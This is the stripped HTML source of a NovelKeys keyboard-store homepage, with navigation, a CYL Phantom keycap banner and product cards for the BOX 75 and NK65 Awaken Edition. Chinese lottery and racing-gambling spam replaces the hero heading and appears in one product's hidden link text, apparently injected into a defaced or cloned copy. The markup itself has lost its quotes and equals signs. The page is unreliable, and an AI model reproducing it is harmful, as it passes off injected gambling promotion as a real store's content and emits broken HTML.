2.6 6.1 4.1 9.8 4.1 3 0 5.9-1 8.3-2.8l9.8 9.8c.4.4.9.6 1.4.6s1-.2 1.4-.6c.9-.9.9-2.1.1-2.9zm-20.9-8.2c-2.6 0-5.1-1-7-2.9-3.9-3.9-3.9-10.1 0-14C9.6 9 12.2 8 14.7 8s5.1 1 7 2.9c3.9 3.9 3.9 10.1 0 14-1.9 1.9-4.4 2.9-7 2.9z/>/svg> span classicon__fallback-text>Submit/span> /button> /form> /div> div classsearch-bar__table-cell text-right> button typebutton classbtn--link search-bar__close js-drawer-close> svg aria-hiddentrue focusablefalse rolepresentation classicon icon-close viewBox0 0 40 40>path dM23.868 20.015L39.117 4.78c1.11-1.108 1.11-2.77 0-3.877-1.109-1.108-2.773-1.108-3.882 0L19.986 16.137 4.737.904C3.628-.204 1.965-.204.856.904c-1.11 1.108-1.11 2.77 0 3.877l15.249 15.234L.855 35.248c-1.108 1.108-1.108 2.77 0 3.877.555.554 1.248.831 1.942.831s1.386-.277 1.94-.83l15.25-15.234 15.248 15.233c.555.554 1.248.831 1.941.831s1.387-.277 1.941-.83c1.11-1.109 1.11-2.77 0-3.878L23.868 20.015z classlayer/>/svg> span classicon__fallback-text>Close search/span> /button> /div> /div> /div> div idshopify-section-header classshopify-section> style> } .site-header__logo-image { max-width: 250px; } .site-header__logo-image { margin: 0; } /style>div classbackground stylez-index: 998; data-section-idheader data-section-typeheader-section> style> .announcement-bar { background-color: #49a339; } .announcement-bar--link:hover { background-color: #59bf47; } .announcement-bar__message { color: #ffffff; } /style> a hrefsupport5d17.html?articlehttps://novelkeys-llc.helpscoutdocs.com/article/120-free-shipping classannouncement-bar announcement-bar--link> p classannouncement-bar__message>FREE DOMESTIC SHIPPING FOR IN STOCK ORDERS OVER $99*/p> /a> header styleoverflow: inherit classpage-width site-header border-bottom logo--left rolebanner> div classgrid grid--table site-header__mobile-nav> div classgrid__item medium-up--two-fifths logo-align--left> h1 classh2 site-header__logo> a hrefindex.html classsite-header__logo-image> ?xml version1.0 encodingutf-8?> !-- Generator: Adobe Illustrator 24.3.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --> svg version1.1 idNovelKeys-Logo xmlnshttp://www.w3.org/2000/svg xmlns:xlinkhttp://www.w3.org/1999/xlink x0px y0px viewBox0 0 1407 248 styleenable-background:new 0 0 1407 248; fill: #0099db xml:spacepreserve> g> g> path dM1315.88,241.38c-3.68,0-6.98-0.83-9.88-2.51c-2.91-1.68-5.17-3.96-6.8-6.85c-1.62-2.89-2.43-6.09-2.43-9.61 c0-3.79,0.84-7.14,2.51-10.07c1.68-2.92,3.98-5.19,6.9-6.79s6.21-2.41,9.86-2.41c3.41,0,6.57,0.79,9.46,2.36 c2.89,1.57,5.2,3.81,6.92,6.72c1.72,2.91,2.58,6.26,2.58,10.05c0,3.72-0.84,7.03-2.53,9.94c-1.69,2.91-3.99,5.16-6.9,6.76 S1319.44,241.38,1315.88,241.38z M1329.22,222.52c0-2.81-0.56-5.34-1.7-7.58c-1.13-2.25-2.72-4.01-4.77-5.3 c-2.05-1.29-4.39-1.93-7.03-1.93c-2.4,0-4.61,0.63-6.62,1.88c-2.01,1.25-3.61,2.96-4.79,5.15c-1.18,2.18-1.77,4.64-1.77,7.38 c0,2.81,0.58,5.32,1.72,7.55s2.74,3.98,4.77,5.25c2.03,1.27,4.31,1.9,6.84,1.9c2.44,0,4.67-0.61,6.69-1.85 c2.03-1.23,3.65-2.94,4.84-5.12C1328.62,227.67,1329.22,225.23,1329.22,222.52z M1323.69,230.38c0,0.51-0.22,0.94-0.66,1.3 c-0.44,0.35-0.94,0.54-1.52,0.54c-0.51,0-0.94-0.11-1.3-0.31c-0.35-0.2-0.73-0.56-1.14-1.06c-0.4-0.51-1.05-1.42-1.92-2.74 l-2.94-4.16h-1.32v6.04c0,0.68-0.22,1.22-0.65,1.62c-0.44,0.41-0.99,0.61-1.63,0.61s-1.18-0.21-1.62-0.63 c-0.44-0.42-0.66-0.97-0.66-1.65V214.2c0-0.64,0.23-1.16,0.68-1.57c0.46-0.41,0.99-0.61,1.6-0.61h6.65c2.46,0,4.27,0.49,5.43,1.46 c1.15,0.99,1.72,2.54,1.72,4.67c0,1.63-0.44,2.97-1.32,4.03c-0.88,1.06-2.01,1.65-3.39,1.75l3.29,4.41 C1323.46,228.99,1323.69,229.67,1323.69,230.38z M1319.53,217.96c0-1.52-0.88-2.28-2.63-2.28h-4.01v4.62h4.01 c0.87,0,1.53-0.19,1.97-0.56C1319.32,219.36,1319.53,218.77,1319.53,217.96z/> /g> g> g> path dM31,36.57c0-16.31,8.16-23.24,24.87-23.24c8.16,0,15.49,3.26,19.98,10.19l69.32,111.72h0.41V32.5 c0-12.64,7.34-19.16,19.16-19.16s19.16,6.12,19.16,19.16v136.19c0,15.49-6.93,24.47-23.24,24.47c-12.64,0-16.72-2.85-21.61-10.6 L69.74,74.09h-0.41v100.31c0,12.64-7.34,19.16-19.16,19.16S31,187.44,31,174.39L31,36.57z/> path dM264.24,61.04c42.41,0,65.24,28.95,65.24,66.06c0,35.07-17.13,66.46-65.24,66.46s-65.24-30.99-65.24-66.46 C198.99,89.99,221.42,61.04,264.24,61.04z M264.24,167.46c20.8,0,29.77-18.76,29.77-40.37c0-22.83-9.38-39.96-29.77-39.96 s-29.77,17.13-29.77,39.96C234.06,148.3,243.03,167.46,264.24,167.46z/> path dM331.52,87.95c-0.82-2.85-2.04-6.93-2.04-8.97c0-12.64,8.56-18.35,17.13-18.35c13.46,0,16.72,11.01,17.53,14.68 l23.65,79.51h0.41l23.65-79.51c0.82-3.67,4.49-14.68,17.53-14.68c8.56,0,17.13,5.71,17.13,18.35c0,2.04-1.22,6.12-2.04,8.97 l-33.44,92.56c-3.26,9.38-5.71,12.64-23.24,12.64s-19.98-3.26-23.24-12.64L331.52,87.95z/> path dM481.57,133.62c0,18.76,12.23,32.21,32.62,32.21c26.5,0,26.5-17.53,40.78-17.53c8.56,0,14.68,7.34,14.68,13.86 c0,21.2-33.84,30.99-55.05,30.99c-49.34,0-67.69-33.44-67.69-64.02c0-41.18,24.87-68.5,66.46-68.5 c40.37,0,63.61,28.54,63.61,57.49c0,12.23-3.67,15.09-15.49,15.09h-79.92V133.62z M543.55,113.64 c-2.04-16.31-13.86-28.14-29.77-28.14c-17.53,0-28.14,11.01-32.21,28.14H543.55z/> path dM592.07,30.86c0-11.42,6.93-17.53,17.53-17.53c10.6,0,17.53,6.12,17.53,17.53v144.75c0,11.42-6.93,17.53-17.53,17.53 c-10.6,0-17.53-6.12-17.53-17.53V30.86z/> path dM651.2,33.31c0-11.82,8.56-19.98,20.8-19.98c12.23,0,19.98,8.16,19.98,19.98V90.8l62.39-68.5 c4.49-4.89,8.56-8.56,15.49-8.56c9.38,0,18.76,5.71,18.76,15.9c0,6.12-3.26,10.19-6.52,13.46l-40.37,42.81l47.3,72.58 c3.67,5.71,7.34,10.6,7.34,15.49c0,14.68-11.01,19.16-20.39,19.16c-8.16,0-12.23-2.04-17.53-10.19l-45.67-70.54l-21.61,21.61 v39.14c0,11.82-7.75,19.98-19.98,19.98c-12.23,0-19.98-8.16-19.98-19.98V33.31L651.2,33.31z/> path dM831.83,133.62c0,18.76,12.23,32.21,32.62,32.21c26.5,0,26.5-17.53,40.78-17.53c8.56,0,14.27,7.34,14.27,13.86 c0,21.2-33.84,30.99-55.05,30.99c-49.34,0-67.69-33.44-67.69-64.02c0-41.18,24.87-68.5,66.46-68.5 c40.37,0,63.61,28.54,63.61,57.49c0,12.23-3.67,15.09-15.49,15.09h-79.51V133.62z M893.81,113.64 c-2.04-16.31-13.86-28.14-29.77-28.14c-17.53,0-28.14,11.01-32.21,28.14H893.81z/> path dM986.37,156.45h0.41l21.61-79.92c2.45-8.97,7.34-15.49,16.72-15.49c13.86,0,17.94,11.42,17.94,15.9 c0,2.85-0.82,6.52-2.85,11.01l-40.78,115.39c-8.56,24.06-17.94,36.7-40.37,36.7c-15.49,0-22.02-7.75-22.02-16.31 c0-9.38,6.93-14.27,16.31-14.27h3.67c4.49,0,9.79-0.41,12.23-11.01l-36.7-104.39c-2.85-8.56-4.49-12.23-4.49-16.31 c0-9.79,7.75-16.72,17.13-16.72c9.38,0,15.9,5.3,17.94,13.46L986.37,156.45z/> path dM1100.13,61.04c26.91,0,53.82,10.6,53.82,26.91c0,8.16-5.71,15.49-14.68,15.49c-13.86,0-14.27-16.31-36.29-16.31 c-12.23,0-20.39,3.26-20.39,11.01c0,8.16,8.16,10.19,18.76,12.64l14.68,3.26c19.98,4.49,44.04,13.05,44.04,37.51 c0,28.54-27.73,42-54.23,42c-31.8,0-58.31-14.27-58.31-31.8c0-7.75,4.49-14.68,14.27-14.68c15.09,0,16.72,21.61,42.81,21.61 c12.64,0,20.39-5.71,20.39-12.64c0-8.97-7.75-10.19-20.39-13.46l-20.8-4.89c-20.39-4.89-36.29-13.46-36.29-37.11 C1047.12,71.64,1075.67,61.04,1100.13,61.04z/> /g> path dM1326.03,194.37h-140.27c-4.89,0-8.97-4.08-8.97-8.97l0,0c0-4.89,4.08-8.97,8.97-8.97h140.27c4.89,0,8.97,4.08,8.97,8.97 l0,0C1335,190.3,1330.92,194.37,1326.03,194.37z/> /g> /g> /svg> /a> /h1> /div> nav classgrid__item medium-up--one-whole small--hide idAccessibleNav rolenavigation> ul classsite-nav list--inline idSiteNav> li > a hrefkeyboards.html classsite-nav__link site-nav__link--main > span classsite-nav__label>Keyboards/span> /a> /li> li classsite-nav--has-dropdown data-has-dropdowns> button classsite-nav__link site-nav__link--main site-nav__link--button typebutton aria-expandedfalse aria-controlsSiteNavLabel-keycaps> span classsite-nav__label>Keycaps/span>svg aria-hiddentrue focusablefalse rolepresentation classicon icon--wide icon-chevron-down viewBox0 0 498.98 284.49>defs>style>.cls-1{fill:#231f20}/style>/defs>path classcls-1 dM80.93 271.76A35 35 0 0 1 140.68 247l189.74 189.75L520.16 247a35 35 0 1 1 49.5 49.5L355.17 511a35 35 0 0 1-49.5 0L91.18 296.5a34.89 34.89 0 0 1-10.25-24.74z transformtranslate(-80.93 -236.76)/>/svg> /button> div classsite-nav__dropdown idSiteNavLabel-keycaps> ul> li> a hrefkeycaps.html classsite-nav__link site-nav__child-link > span classsite-nav__label>All/span> /a> /li> li> a hrefstar-wars.html classsite-nav__link site-nav__child-link > span classsite-nav__label>Star Wars/span> /a> /li> li> a hrefgmk.html classsite-nav__link site-nav__child-link > span classsite-nav__label>GMK/span> /a> /li> li> a hrefdouble-shot-abs.html classsite-nav__link site-nav__child-link > span classsite-nav__label>Double-Shot ABS/span> /a> /li> li> a hrefdyesub-pbt.html classsite-nav__link site-nav__child-link > span classsite-nav__label>Dyesub PBT/span> /a> /li> li> a hrefextras-preorder.html classsite-nav__link site-nav__child-link site-nav__link--last > span classsite-nav__label>Extras Preorder/span> /a> /li> /ul> /div> /li> li > a hrefswitches.html classsite-nav__link site-nav__link--main > span classsite-nav__label>Switches/span> /a> /li> li > a hrefdeskpads.html classsite-nav__link site-nav__link--main > span classsite-nav__label>Deskpads/span> /a> /li> li > a hrefsupplies.html classsite-nav__link site-nav__link--main > span classsite-nav__label>Supplies/span> /a> /li> li > a hrefmerch.html classsite-nav__link site-nav__link--main > span classsite-nav__label>Merch!/span> /a> /li> /ul> /nav> div classgrid__item medium-up--two-fifths text-right site-header__icons site-header__icons--plus> div classsite-header__icons-wrapper> div classsite-header__search site-header__icon> form actionhttps://novelkeys.com/search methodget classsearch-header search rolesearch> input stylecolor: black classsearch-header__input search__input typesearch nameq aria-labelSearch> input typehidden nametype valueproduct /> button style classsearch-header__submit search__submit btn--link site-header__icon typesubmit> svg aria-hiddentrue focusablefalse rolepresentation classicon icon-search viewBox0 0 37 40>path dM35.6 36l-9.8-9.8c4.1-5.4 3.6-13.2-1.3-18.1-5.4-5.4-14.2-5.4-19.7 0-5.4 5.4-5.4 14.2 0 19.7 2.6 2.6 6.1 4.1 9.8 4.1 3 0 5.9-1 8.3-2.8l9.8 9.8c.4.4.9.6 1.4.6s1-.2 1.4-.6c.9-.9.9-2.1.1-2.9zm-20.9-8.2c-2.6 0-5.1-1-7-2.9-3.9-3.9-3.9-10.1 0-14C9.6 9 12.2 8 14.7 8s5.1 1 7 2.9c3.9 3.9 3.9 10.1 0 14-1.9 1.9-4.4 2.9-7 2.9z/>/svg> span classicon__fallback-text>Submit/span> /button>/form> /div> !-- button typebutton classbtn--link site-header__icon site-header__search-toggle js-drawer-open-top> svg aria-hiddentrue focusablefalse rolepresentation classicon icon-search viewBox0 0 37 40>path dM35.6 36l-9.8-9.8c4.1-5.4 3.6-13.2-1.3-18.1-5.4-5.4-14.2-5.4-19.7 0-5.4 5.4-5.4 14.2 0 19.7 2.6 2.6 6.1 4.1 9.8 4.1 3 0 5.9-1 8.3-2.8l9.8 9.8c.4.4.9.6 1.4.6s1-.2 1.4-.6c.9-.9.9-2.1.1-2.9zm-20.9-8.2c-2.6 0-5.1-1-7-2.9-3.9-3.9-3.9-10.1 0-14C9.6 9 12.2 8 14.7 8s5.1 1 7 2.9c3.9 3.9 3.9 10.1 0 14-1.9 1.9-4.4 2.9-7 2.9z/>/svg> span classicon__fallback-text>Search/span> /button>--> a hreflogin.html classsite-header__icon site-header__account> svg aria-hiddentrue focusablefalse rolepresentation classicon icon-login viewBox0 0 28.33 37.68>path dM14.17 14.9a7.45 7.45 0 1 0-7.5-7.45 7.46 7.46 0 0 0 7.5 7.45zm0-10.91a3.45 3.45 0 1 1-3.5 3.46A3.46 3.46 0 0 1 14.17 4zM14.17 16.47A14.18 14.18 0 0 0 0 30.68c0 1.41.66 4 5.11 5.66a27.17 27.17 0 0 0 9.06 1.34c6.54 0 14.17-1.84 14.17-7a14.18 14.18 0 0 0-14.17-14.21zm0 17.21c-6.3 0-10.17-1.77-10.17-3a10.17 10.17 0 1 1 20.33 0c.01 1.23-3.86 3-10.16 3z/>/svg> span classicon__fallback-text>Log in/span> /a> a hrefcart.html classsite-header__icon site-header__cart> svg aria-hiddentrue focusablefalse rolepresentation classicon icon-cart viewBox0 0 37 40>path dM36.5 34.8L33.3 8h-5.9C26.7 3.9 23 .8 18.5.8S10.3 3.9 9.6 8H3.7L.5 34.8c-.2 1.5.4 2.4.9 3 .5.5 1.4 1.2 3.1 1.2h28c1.3 0 2.4-.4 3.1-1.3.7-.7 1-1.8.9-2.9zm-18-30c2.2 0 4.1 1.4 4.7 3.2h-9.5c.7-1.9 2.6-3.2 4.8-3.2zM4.5 35l2.8-23h2.2v3c0 1.1.9 2 2 2s2-.9 2-2v-3h10v3c0 1.1.9 2 2 2s2-.9 2-2v-3h2.2l2.8 23h-28z/>/svg> span classicon__fallback-text>Cart/span> div idCartCount classsite-header__cart-count> span>0/span> span classicon__fallback-text medium-up--hide>items/span> /div> /a> button typebutton classbtn--link site-header__icon site-header__menu js-mobile-nav-toggle mobile-nav--open aria-controlsMobileNav aria-expandedfalse aria-labelMenu> svg aria-hiddentrue focusablefalse rolepresentation classicon icon-hamburger viewBox0 0 37 40>path dM33.5 25h-30c-1.1 0-2-.9-2-2s.9-2 2-2h30c1.1 0 2 .9 2 2s-.9 2-2 2zm0-11.5h-30c-1.1 0-2-.9-2-2s.9-2 2-2h30c1.1 0 2 .9 2 2s-.9 2-2 2zm0 23h-30c-1.1 0-2-.9-2-2s.9-2 2-2h30c1.1 0 2 .9 2 2s-.9 2-2 2z/>/svg> svg aria-hiddentrue focusablefalse rolepresentation classicon icon-close viewBox0 0 40 40>path dM23.868 20.015L39.117 4.78c1.11-1.108 1.11-2.77 0-3.877-1.109-1.108-2.773-1.108-3.882 0L19.986 16.137 4.737.904C3.628-.204 1.965-.204.856.904c-1.11 1.108-1.11 2.77 0 3.877l15.249 15.234L.855 35.248c-1.108 1.108-1.108 2.77 0 3.877.555.554 1.248.831 1.942.831s1.386-.277 1.94-.83l15.25-15.234 15.248 15.233c.555.554 1.248.831 1.941.831s1.387-.277 1.941-.83c1.11-1.109 1.11-2.77 0-3.878L23.868 20.015z classlayer/>/svg> /button> /div> /div> /div> nav classmobile-nav-wrapper rolenavigation> ul idMobileNav classmobile-nav> hr stylemargin: 7px 20px; border: 1px solid #F0F0F0;> li classmobile-nav__item border-bottom> a hrefkeyboards.html classmobile-nav__link > span classmobile-nav__label>Keyboards/span> /a> /li> hr stylemargin: 7px 20px; border: 1px solid #F0F0F0;> li classmobile-nav__item border-bottom> button typebutton classbtn--link js-toggle-submenu mobile-nav__link data-targetkeycaps-2 data-level1 aria-expandedfalse> span classmobile-nav__label>Keycaps/span> div classmobile-nav__icon> svg aria-hiddentrue focusablefalse rolepresentation classicon icon-chevron-right viewBox0 0 7 11>path dM1.5 11A1.5 1.5 0 0 1 .44 8.44L3.38 5.5.44 2.56A1.5 1.5 0 0 1 2.56.44l4 4a1.5 1.5 0 0 1 0 2.12l-4 4A1.5 1.5 0 0 1 1.5 11z fill#fff/>/svg> /div> /button> ul classmobile-nav__dropdown data-parentkeycaps-2 data-level2> li classvisually-hidden tabindex-1 data-menu-title2>Keycaps Menu/li> li classmobile-nav__item border-bottom> div classmobile-nav__table> div classmobile-nav__table-cell mobile-nav__return> button classbtn--link js-toggle-submenu mobile-nav__return-btn typebutton aria-expandedtrue aria-labelKeycaps> svg aria-hiddentrue focusablefalse rolepresentation classicon icon-chevron-left viewBox0 0 7 11>path dM5.5.037a1.5 1.5 0 0 1 1.06 2.56l-2.94 2.94 2.94 2.94a1.5 1.5 0 0 1-2.12 2.12l-4-4a1.5 1.5 0 0 1 0-2.12l4-4A1.5 1.5 0 0 1 5.5.037z fill#fff classlayer/>/svg> /button> /div> span classmobile-nav__sublist-link mobile-nav__sublist-header mobile-nav__sublist-header--main-nav-parent> span classmobile-nav__label>Keycaps/span> /span> /div> /li> li classmobile-nav__item border-bottom> a hrefkeycaps.html classmobile-nav__sublist-link > span classmobile-nav__label>All/span> /a> /li> li classmobile-nav__item border-bottom> a hrefstar-wars.html classmobile-nav__sublist-link > span classmobile-nav__label>Star Wars/span> /a> /li> li classmobile-nav__item border-bottom> a hrefgmk.html classmobile-nav__sublist-link > span classmobile-nav__label>GMK/span> /a> /li> li classmobile-nav__item border-bottom> a hrefdouble-shot-abs.html classmobile-nav__sublist-link > span classmobile-nav__label>Double-Shot ABS/span> /a> /li> li classmobile-nav__item border-bottom> a hrefdyesub-pbt.html classmobile-nav__sublist-link > span classmobile-nav__label>Dyesub PBT/span> /a> /li> li classmobile-nav__item> a hrefextras-preorder.html classmobile-nav__sublist-link > span classmobile-nav__label>Extras Preorder/span> /a> /li> /ul> /li> hr stylemargin: 7px 20px; border: 1px solid #F0F0F0;> li classmobile-nav__item border-bottom> a hrefswitches.html classmobile-nav__link > span classmobile-nav__label>Switches/span> /a> /li> hr stylemargin: 7px 20px; border: 1px solid #F0F0F0;> li classmobile-nav__item border-bottom> a hrefdeskpads.html classmobile-nav__link > span classmobile-nav__label>Deskpads/span> /a> /li> hr stylemargin: 7px 20px; border: 1px solid #F0F0F0;> li classmobile-nav__item border-bottom> a hrefsupplies.html classmobile-nav__link > span classmobile-nav__label>Supplies/span> /a> /li> hr stylemargin: 7px 20px; border: 1px solid #F0F0F0;> li classmobile-nav__item> a hrefmerch.html classmobile-nav__link > span classmobile-nav__label>Merch!/span> /a> /li> hr stylemargin: 7px 20px; border: 1px solid #F0F0F0;> /ul> /nav> /header> /div>script srcimages/jquery-3.6.0.min.js integritysha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4 crossoriginanonymous>/script>script srcimages/tooltipeacb.js?v19719266101440461421703777635>/script>script typeapplication/ld+json>{ @context: http://schema.org, @type: Organization, name: NovelKeys LLC, logo: https://novelkeys.com/cdn/shop/files/NovelKeys_Logo_9a49ed4e-b4e2-4196-ae52-bb6bad0f5bb7_896x.png?v1630528077, sameAs: https://twitter.com/NovelKeys, https://facebook.com/novelkeys, , https://instagram.com/novel.keys, , , https://www.youtube.com/c/NovelKeys, , url: https://novelkeys.com}/script> script typeapplication/ld+json> { @context: http://schema.org, @type: WebSite, name: NovelKeys LLC, potentialAction: { @type: SearchAction, target: https://novelkeys.com/search?q{search_term_string}, query-input: required namesearch_term_string }, url: https://novelkeys.com } /script>/div> div stylebackground-image: linear-gradient(to top, rgba(26, 37, 28, 0) 90%, rgba(200, 200, 200, 0.29)); classflex-wrapper nav-gradient page-container idPageContainer> main classmain-content js-focus-hidden idMainContent rolemain tabindex-1> !-- BEGIN content_for_index -->div idshopify-section-1618855832003576d7 classshopify-section index-section index-section--flush>div classhero hero--large hero__overlay box ratio-container lazyload js data-bgset//novelkeys.com/cdn/shop/files/CYL_Phantom_Rikia_Wide_180x.png?v1704213857 180w 101h, //novelkeys.com/cdn/shop/files/CYL_Phantom_Rikia_Wide_360x.png?v1704213857 360w 203h, //novelkeys.com/cdn/shop/files/CYL_Phantom_Rikia_Wide_540x.png?v1704213857 540w 304h, //novelkeys.com/cdn/shop/files/CYL_Phantom_Rikia_Wide_720x.png?v1704213857 720w 405h, //novelkeys.com/cdn/shop/files/CYL_Phantom_Rikia_Wide_900x.png?v1704213857 900w 506h, //novelkeys.com/cdn/shop/files/CYL_Phantom_Rikia_Wide_1080x.png?v1704213857 1080w 608h, //novelkeys.com/cdn/shop/files/CYL_Phantom_Rikia_Wide_1296x.png?v1704213857 1296w 729h, //novelkeys.com/cdn/shop/files/CYL_Phantom_Rikia_Wide_1512x.png?v1704213857 1512w 851h, //novelkeys.com/cdn/shop/files/CYL_Phantom_Rikia_Wide_1728x.png?v1704213857 1728w 972h, //novelkeys.com/cdn/shop/files/CYL_Phantom_Rikia_Wide_1950x.png?v1704213857 1950w 1097h, //novelkeys.com/cdn/shop/files/CYL_Phantom_Rikia_Wide_2100x.png?v1704213857 2100w 1181h, //novelkeys.com/cdn/shop/files/CYL_Phantom_Rikia_Wide_2260x.png?v1704213857 2260w 1271h, //novelkeys.com/cdn/shop/files/CYL_Phantom_Rikia_Wide_2450x.png?v1704213857 2450w 1378h, //novelkeys.com/cdn/shop/files/CYL_Phantom_Rikia_Wide_2700x.png?v1704213857 2700w 1519h, //novelkeys.com/cdn/shop/files/CYL_Phantom_Rikia_Wide_3000x.png?v1704213857 3000w 1688h, //novelkeys.com/cdn/shop/files/CYL_Phantom_Rikia_Wide_3350x.png?v1704213857 3350w 1884h, //novelkeys.com/cdn/shop/files/CYL_Phantom_Rikia_Wide_3750x.png?v1704213857 3750w 2109h, //novelkeys.com/cdn/shop/files/CYL_Phantom_Rikia_Wide.png?v1704213857 3840w 2160h data-sizesauto data-parent-fitcover stylebackground-position: center; background-image: linear-gradient(to bottom, rgba(0, 0, 0, 0) 85%, rgba(1, 1, 1, 0.5)), url(images/cyl_phantom_rikia_wide_1920x3879.png?v1704213857); > div classhero__inner> div classtext-right page-width> h1 stylecolor: #ffffff classh1 mega-title mega-title--large>2024全新官方看极速赛车开奖结果 - 迪士尼彩票PHANTOM/h1> div stylecolor: #ffffff classrte-setting mega-subtitle mega-subtitle--large>p>GMK ABS CYL Double-Shot Keycaps/p>/div> a stylemargin-top: 7% hrefcyl-phantom-r2-keycaps.html classbtn hero__btn> preorder! /a> /div> /div>/div>noscript> div classhero hero--large hero__overlay stylebackground-image: url(images/cyl_phantom_rikia_wide_2048x3879.png?v1704213857); background-position: center center;>/div>/noscript>/div>div idshopify-section-161888125249240210 classshopify-section index-section>div> div classpage-width> div stylepadding-top: 20px classtwo-column-card-grid> div style border-radius: 5px; padding-top: 0px; max-width: 2500px; classgrid-view-item product-card > !--style> @media screen and (min-width: 750px) { #ProductCardImage-161888125249240210-6207677989031 { max-width: 530px; max-height: 298.2133333333333px; } #ProductCardImageWrapper-161888125249240210-6207677989031 { max-width: 530px; max-height: 298.2133333333333px; } } @media screen and (max-width: 749px) { #ProductCardImage-161888125249240210-6207677989031 { max-width: 750px; max-height: 750px; } #ProductCardImageWrapper-161888125249240210-6207677989031 { max-width: 750px; } } /style>!--> div classimage-container> div stylemargin-bottom: 5px; idProductCardImageWrapper-161888125249240210-6207677989031 classgrid-view-item__image-wrapper product-card__image-wrapper js> div stylepadding-top:56.26666666666666%;> div classproduct-tag-wrapper> div stylebackground-color: #49a339; color: #ffffff classproduct-tag aria-hiddentrue>CLEARANCE !-- strike> $50.00/strike> !-->/div> /div> a classgrid-view-item__link grid-view-item__image-container full-width-link hrefbox-75-keyboard.html> span classvisually-hidden>BOX 75 Keyboard|正规极速赛车开奖结果历史官网数据/span> /a> img style idProductCardImage-161888125249240210-6207677989031 classgrid-view-item__image lazyload srcimages/box75_35fa1776-71e1-4f8a-8899-ed0b6aed5d6c_800x800282a.jpg?v1672157060 data-srcbox75_35fa1776-71e1-4f8a-8899-ed0b6aed5d6c_%7bwidth%7dx282a.html?v1672157060 data-widths180, 360, 540, 720, 900, 1080, 1296, 1512, 1728, 2048 data-aspectratio1.7772511848341233 data-sizesauto > /div> /div> style> .image-container { background-color: #E5E5E9; border-radius: 10px; position: relative; z-index: 1; } #overlay_text { width: 100%; text-align: center; margin-left: -20px; z-index: 3; color: #A1AD62; font-weight: bolder; font-size: 2.5em; text-shadow: 1px 1px 6px rgba(0,0,0,0.43); -webkit-text-stroke: 1.5px #ffffff; } @media all and (max-width:1140px) { #overlay_text { margin-left: -12px; font-size : 1.8em; } @media all and (max-width:836px) { #overlay_text { margin-left: -12px; font-size : 1.5em; } @media all and (max-width:749px) { #overlay_text { margin-left: -20px; font-size : 2.5em; } @media all and (max-width:530px) { #overlay_text { margin-left: -20px; font-size : 2em; } @media all and (max-width:530px) { #overlay_text { margin-left: -15px; font-size : 1.7em; } @media all and (max-width:375px) { #overlay_text { margin-left: -10px; font-size : 1em; } } /style> noscript> img classgrid-view-item__image srcbox75_35fa1776-71e1-4f8a-8899-ed0b6aed5d6c_%7bwidth%7dx282a.html?v1672157060 altBOX 75 Keyboard > /noscript> /div> a hrefbox-75-keyboard.html> span classvisually-hidden>BOX 75 Keyboard/span> div classproduct-card-details-grid> div stylegrid-row: 1/3> div styledisplay: flex; text-align: left; classh4 grid-view-item__title product-card__title aria-hiddentrue> BOX 75 KEYBOARD /div> div style color: #999999; text-align: left; display: flex; padding-top: 5px; classh4 grid-view-item__title product-card__subtitle aria-hiddentrue>   /div> /div> div styletext-align: right; justify-content: flex-end class price-item price price__regular price-item--regular data-regular-price> strike stylecolor: #999999> $700/strike> span stylemargin-top: 2%; color: #49a339; text-align: right; justify-content: flex-end; flex-grow: 1; class price-item price price__regular price-item--regular data-regular-price> $150 /span> /div> /div> /a> !-- div classone-whole product-card-info> div styledisplay: flex; text-align: left; classh4 grid-view-item__title product-card__title aria-hiddentrue> BOX 75 KEYBOARD /div> span stylewidth: auto; flex-grow: 1; text-align: right; justify-content: flex-end; class price-item price price__regular price-item--regular data-regular-price> strike stylecolor: #999999> $700/strike> /span> /div> div classone-whole styledisplay: flex;> div style color: #999999; text-align: left; display: flex; padding-top: 5px; classh4 grid-view-item__title product-card__subtitle aria-hiddentrue>   /div> span stylecolor: #49a339; width: auto; text-align: right; display: flex; justify-content: flex-end; flex-grow: 1; class price-item price price__regular price-item--regular data-regular-price> $150 /span> /div>-->/div> div style border-radius: 5px; padding-top: 0px; max-width: 2500px; classgrid-view-item product-card > !--style> @media screen and (min-width: 750px) { #ProductCardImage-161888125249240210-6162441437351 { max-width: 530px; max-height: 298.2133333333333px; } #ProductCardImageWrapper-161888125249240210-6162441437351 { max-width: 530px; max-height: 298.2133333333333px; } } @media screen and (max-width: 749px) { #ProductCardImage-161888125249240210-6162441437351 { max-width: 750px; max-height: 750px; } #ProductCardImageWrapper-161888125249240210-6162441437351 { max-width: 750px; } } /style>!--> div classimage-container> div stylemargin-bottom: 5px; idProductCardImageWrapper-161888125249240210-6162441437351 classgrid-view-item__image-wrapper product-card__image-wrapper js> div stylepadding-top:56.26666666666666%;> div classproduct-tag-wrapper> div stylebackground-color: #49a339; color: #ffffff classproduct-tag aria-hiddentrue>CLEARANCE !-- strike> $240.00/strike> !-->/div> /div> a classgrid-view-item__link grid-view-item__image-container full-width-link hrefnk65-awaken-edition.html> span classvisually-hidden>NK65 - Awaken Edition/span> /a> img style idProductCardImage-161888125249240210-6162441437351 classgrid-view-item__image lazyload srcimages/nk_awakennk65-tile_800x8004acd.jpg?v1672858644 data-srcnk_awakennk65-tile_%7bwidth%7dx4acd.html?v1672858644 data-widths180, 360, 540, 720, 900, 1080, 1296, 1512, 1728, 2048 data-aspectratio1.7772511848341233 data-sizesauto > /div> /div> style> .image-container { background-color: #E5E5E9; border-radius: 10px; position: relative; z-index: 1; } #overlay_text { width: 100%; text-align: center; margin-left: -20px; z-index: 3; color: #A1AD62; font-weight: bolder; font-size: 2.5em; text-shadow: 1px 1px 6px rgba(0,0,0,0.43); -webkit-text-stroke: 1.5px #ffffff; } @media all and (max-width:1140px) { #overlay_text { margin-left: -12px; font-size : 1.8em; } @media all and (max-width:836px) { #overlay_text { margin-left: -12px; font-size : 1.5em; } @media all and (max-width:749px) { #overlay_text { margin-left: -20px; font-size : 2.5em; } @media all and (max-width:530px) { #overlay_text { margin-left: -20px; font-size : 2em; } @media all and (max-width:530px) { #overlay_text { margin-left: -15px; font-size : 1.7em; } @media all and (max-width:375px) { #overlay_text { margin-left: -10px; font-size : 1em; } } /style> noscript> img classgrid-view-item__image srcnk_awakennk65-tile_%7bwidth%7dx4acd.html?v1672858644 altNK65 - Awaken Edition > /noscript> /div> a hrefnk65-awaken-edition.html> span classvisually-hidden>NK65 - Awaken Edition/span> div classproduct-card-details-grid> div stylegrid-row: 1/3> div styledisplay: flex; text-align: left; classh4 grid-view-item__title product-card__title aria-hiddentrue> NK65™ - AWAKEN EDITION 